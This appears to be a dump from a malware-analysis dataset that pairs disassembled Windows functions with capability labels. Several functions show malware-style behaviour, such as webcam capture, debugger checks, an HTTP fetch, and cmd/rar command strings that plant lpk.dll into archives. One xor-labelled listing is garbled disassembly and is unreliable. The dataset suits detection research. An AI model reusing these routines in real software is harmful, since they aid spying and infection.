joyce8/EMBER2024-capa huggingface dataset:
Function at 0x442a00
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x442a33
push esi
call fcn.00445b10
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x442a2c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x442ab9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x442aa2
mov eax, dword [esi + 8]
test eax, eax
je 0x442a57
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x442a9e
cmp eax, 2
je 0x442aa2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x442a4a
cmp eax, 3
je 0x442a7d
cmp eax, 1
jne 0x442a4a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x442a4a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x442a4a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00442ae0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x442ac8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00442ae0
add esp, 4
pop esi
ret

Function at 0x44e640
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x44e6e3
test eax, eax
jbe 0x44e6e3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x44e6e3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x44e68e
xor esi, esi
jmp 0x44e694
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x44e6bf
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.004085f0
add esi, eax
push esi
mov ebx, esi
call fcn.004085f0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x44e6a0
pop ebp
test edi, edi
pop edi
jne 0x44e6e3
test ebx, ebx
je 0x44e6e3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00452db0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x44e825
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x44e93d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x44e93d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0046374f
mov esi, eax
test esi, esi
je 0x44e93d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x44e93d
mov ecx, esi
call fcn.0044e790
cmp edi, eax
jge 0x44e93d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x44e8c3
mov dword [esp + 0x34], 1
jmp 0x44e91e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x44e93d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044dd50
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x4640f3
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46412b
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004621a7
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0046217f
jmp 0x464137
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4657e5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x465827
call fcn.0046b295
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x465827
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46581e
xor eax, eax
jmp 0x46582f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00465835
pop edi
pop esi
pop ebx
ret 4
Function at 0x46b7c5
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46b7f3
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46b811
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046b72b
jmp 0x46b811
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46b811
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0046b72b
test edi, edi
mov eax, edi
jne 0x46b7fb
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
xor ebx, ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x40105a
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [ebp + 0x10]
mov dword [ebp - 8], 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401051
cmp dword [ebp - 0xc], 4
jne 0x401051
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0x14]
mov bl, 1
mov dword [ecx], eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret

Function at 0x40105f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x4094bc]
xor eax, ebp
mov dword [ebp + 0x98], eax
push ebx
lea eax, [ebp - 0x7c]
push eax
xor bl, bl
mov dword [ebp - 0x7c], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4010cd
cmp dword [ebp - 0x6c], 2
jne 0x4010cd
cmp dword [ebp - 0x78], 5
ja 0x4010a6
jne 0x4010cd
cmp dword [ebp - 0x74], 1
jb 0x4010cd
lea eax, [ebp - 0x80]
push eax
push dword [0x4090a8]
push dword [0x4090a4]
push 0x80000002
call fcn.00401000
add esp, 0x10
test al, al
je 0x4010cd
mov bl, byte [ebp - 0x80]
and bl, 1
mov ecx, dword [ebp + 0x98]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.00403b57
add ebp, 0x9c
leave
ret

Function at 0x4010e5
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x4094bc]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40112a
push esi
push str.ADOBE_READLOGGER_CMD:COMMENT:_s
lea eax, [ebp - 0xcc]
push 0xc7
push eax
call dword [sym.imp.MSVCR80.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403b57
leave
ret

Function at 0x40130d
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x40132a
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x20]
mov dword [esi], eax
mov eax, dword [esi]
pop esi
leave
ret
Function at 0x4013f6
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
call fcn.0040135c
xor ebx, ebx
test al, al
je 0x40149d
cmp byte [edi], bl
jne 0x40149d
cmp dword [edi + 4], ebx
jne 0x40143f
cmp byte [ebp + 8], bl
push 2
pop eax
je 0x401427
mov eax, 0x1000002
push ebx
push ebx
push ebx
push eax
push ebx
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
cmp eax, ebx
mov dword [edi + 4], eax
jne 0x40143f
mov byte [edi], 1
mov eax, dword [edi + 4]
cmp eax, ebx
je 0x40149d
cmp dword [edi + 8], ebx
jne 0x40149d
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, ebx
mov dword [edi + 8], eax
jne 0x401463
mov byte [edi], 1
jmp 0x40149d
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.004013a0
add esp, 0xc
test al, al
je 0x40148e
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x40148e
mov ecx, dword [edi + 8]
lea eax, [ecx + eax - 1]
mov dword [edi + 0xc], eax
jmp 0x40149d
push dword [edi + 8]
mov byte [edi], 1
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [edi + 8], ebx
xor eax, eax
cmp dword [edi + 8], ebx
pop esi
setne al
pop ebx
leave
ret

Function at 0x4014a9
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop ebp
ret

Function at 0x4014be
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x4094bc]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0
jbe 0x401548
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP80.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xffffffff
je 0x401548
mov dword [ebp - 0x150], 1
jmp 0x401516
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
cmp eax, dword [ebp + 0xc]
jae 0x40153c
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x14c]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40153a
jmp 0x40153c
jmp 0x401509
push dword [ebp - 0x14c]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403b57
leave
ret
Function at 0x401773
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp dword [eax + 4], 0
jg 0x4017b1
jl 0x401795
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0x7fffffff
ja 0x4017b1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [eax + 4], 0xffffffff
jg 0x4017b6
jl 0x4017b1
mov eax, dword [ebp - 0x20]
cmp dword [eax], 0x80000001
jae 0x4017b6
jmp 0x40183e
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax + 8]
neg eax
sbb eax, eax
and eax, 0xfffffffe
inc eax
inc eax
push eax
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x40183e
and dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 0xc]
jae 0x40183e
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0xc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
call fcn.0040166a
pop ecx
pop ecx
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401831
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jae 0x401833
jmp 0x40183e
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x4017e5
leave
ret

Function at 0x402ae3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xcc]
sub esp, 0x14c
mov eax, dword [0x4094bc]
xor eax, ebp
mov dword [ebp + 0xc8], eax
mov eax, dword [ebp + 0xd4]
push ebx
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x7c]
push ecx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor ebx, ebx
test eax, eax
jne 0x402b60
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 0x136
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
je 0x402b40
mov byte [ebp - 0x71], bl
jmp 0x402b52
push dword [ebp - 0x78]
lea eax, [ebp - 0x70]
push eax
push ebx
push esi
mov byte [ebp - 0x71], 1
call edi
add esp, 0x10
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x71], bl
jne 0x402b6b
push dword [ebp - 0x78]
push ebx
push ebx
push esi
call edi
add esp, 0x10
mov ecx, dword [ebp + 0xc8]
xor ecx, ebp
pop ebx
call fcn.00403b57
add ebp, 0xcc
leave
ret
Function at 0x4037be
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor ecx, ecx
push esi
push edi
mov byte [ebp - 8], cl
xor eax, eax
lea edi, [ebp - 7]
stosw word es:[edi], ax
stosb byte es:[edi], al
cmp byte [ebp - 8], cl
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 4
jne 0x40386f
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
mov esi, 0x20019
push esi
push ecx
mov ebx, str.SOFTWAREAdobeAdobe_Acrobat9.0Language
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x403831
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x407128
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 8], 0
jne 0x40386f
lea eax, [ebp - 4]
push eax
push esi
push 0
push ebx
push 0x80000002
call edi
test eax, eax
jne 0x40386f
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x407128
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor bl, bl
xor esi, esi
mov edi, 0x4093a8
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.MSVCR80.dll__stricmp]
test eax, eax
pop ecx
pop ecx
je 0x403894
inc esi
add edi, 8
cmp esi, 0x1d
jb 0x403878
jmp 0x403896
mov bl, 1
neg bl
lea ecx, [ebp - 0x14]
sbb ebx, ebx
and ebx, esi
push dword [ebx*8 + 0x4093ac]
call fcn.0040377d
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00402f05
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403928
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x4094bc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x244
xor esi, esi
lea eax, [ebp - 0x248]
push esi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
mov edi, 0x122
push edi
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x40397b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00403b57
leave
ret
push 0x407194
lea eax, [ebp - 0x248]
push edi
push eax
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
cmp edi, esi
je 0x40396b
push str.HeapSetInformation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
jne 0x4039bf
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x40396d
push esi
push esi
push 1
push esi
call eax
mov esi, eax
neg esi
sbb esi, esi
neg esi
jmp 0x4039b4

Function at 0x403b57
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4094bc]
jne 0x403b61
repz ret
jmp fcn.0040419e
Function at 0x404912
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4094bc]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00404851
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x404961
cmp dword [ebp - 0x1c], 5
jb 0x404979
jmp 0x404975
cmp dword [ebp - 0x10], 1
jne 0x404979
cmp dword [ebp - 0x1c], 4
ja 0x404975
jne 0x404979
cmp dword [ebp - 0x18], 0
jbe 0x404979
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x407324
call fcn.004046e7
test eax, eax
jge 0x40499a
mov byte [0x4094fc], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00403b57
add ebp, 0x78
leave
ret
Function at 0x100014b5
Capabilities:
Check if file exists
Get common file path
Get file attributes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0
push 2
push 0
push 0x10003318
push 0x80000000
mov dword [ebp - 0x828], 0x208
call dword [sym.imp.SHLWAPI.dll_SHRegGetValueW]
test eax, eax
jne 0x10001692
cmp word [ebp - 0x20c], 0x22
setne al
test eax, eax
jne 0x1000169f
lea eax, [ebp - 0x20a]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, 0x10003314
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x10001692
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.rar.exe
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10001692
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHELL32.dll_PathGetShortPath]
lea eax, [ebp - 0x414]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str.IRAR
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x414]
push eax
push ebx
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x824]
push str.cmd__c__s_vb___s__lpk.dllfind__i__lpk.dll_
push eax
call esi
mov edi, 0xea60
lea eax, [ebp - 0x824]
push edi
push eax
call fcn.1000141d
add esp, 0x1c
test eax, eax
je 0x10001690
lea eax, [ebp - 0x414]
push eax
push ebx
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x824]
push str.__s__x___s__.exe___s_
push eax
call esi
lea eax, [ebp - 0x824]
push 0x1d4c0
push eax
call fcn.1000141d
add esp, 0x1c
lea eax, [ebp - 0x414]
push eax
call fcn.10001718
lea eax, [ebp - 0x414]
push eax
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x824]
push str.__s__a__r__ep1__s____s____slpk.dll_
push eax
call esi
lea eax, [ebp - 0x824]
push 0x3a980
push eax
call fcn.1000141d
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x824]
push 0x100031f4
push eax
call esi
lea eax, [ebp - 0x824]
push edi
push eax
call fcn.1000141d
add esp, 0x34
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10001f91
leave
ret
mov eax, 0x100031f0
jmp 0x1000152e
Function at 0x10001adc
Capabilities:
Create thread
Resume thread
Terminate thread

Disassembly:
push esi
xor esi, esi
push esi
push 4
push esi
push 0x100019a3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xfffffffffffffff1
push eax
mov dword [0x100042a8], eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
je 0x10001b13
push dword [0x100042a8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x10001b26
push esi
push dword [0x100042a8]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x100042a8], esi
pop esi
ret

Function at 0x10001f91
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001f9b
repz ret
jmp fcn.1000212d

Function at 0x4222d0
Capabilities:
Encode data using xor

Disassembly:
jae 0x4222e0
xor ch, bl
sbb al, 0xd
and ah, byte [esi + 0x72]
lodsb al, byte [esi]
jne 0x4222d2
jecxz 0x4222e3
add cl, byte [ebp + 0x29c7f819]
sub byte [ebx], ah
imul ebp, dword [edx], 0x1b21278e
sbb eax, edi
invalid
sub dword [eax], ebp
and ebp, dword [ecx + 0x2a]
mov fs, word [edi]
and dword [ebx], ebx
push es
ret 0x8828

Function at 0x100011b0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0xf3da0
call fcn.10003020
push esi
push 0
push 0
push 0
push 0
push 0x10005034
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x10001266
mov eax, dword [esp + 0xf3da8]
push 0
push 0x4000000
push 0
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edx, eax
test edx, edx
je 0x1000125f
push edi
mov ecx, 0x3cf66
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov dword [esp + 8], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 8]
stosb byte es:[edi], al
push ecx
lea eax, [esp + 0x10]
push 0xf3d9b
push eax
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0xc]
push ecx
mov ecx, 0x100055a4
call sub.MFC42.DLL_CString::operator
mov edx, dword [esp + 0xf3db0]
mov ecx, 0x100055a4
push edx
call sub.MFC42.DLL_CString::Find
xor ecx, ecx
pop edi
test eax, eax
setge cl
mov eax, ecx
pop esi
add esp, 0xf3da0
ret
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop esi
add esp, 0xf3da0
ret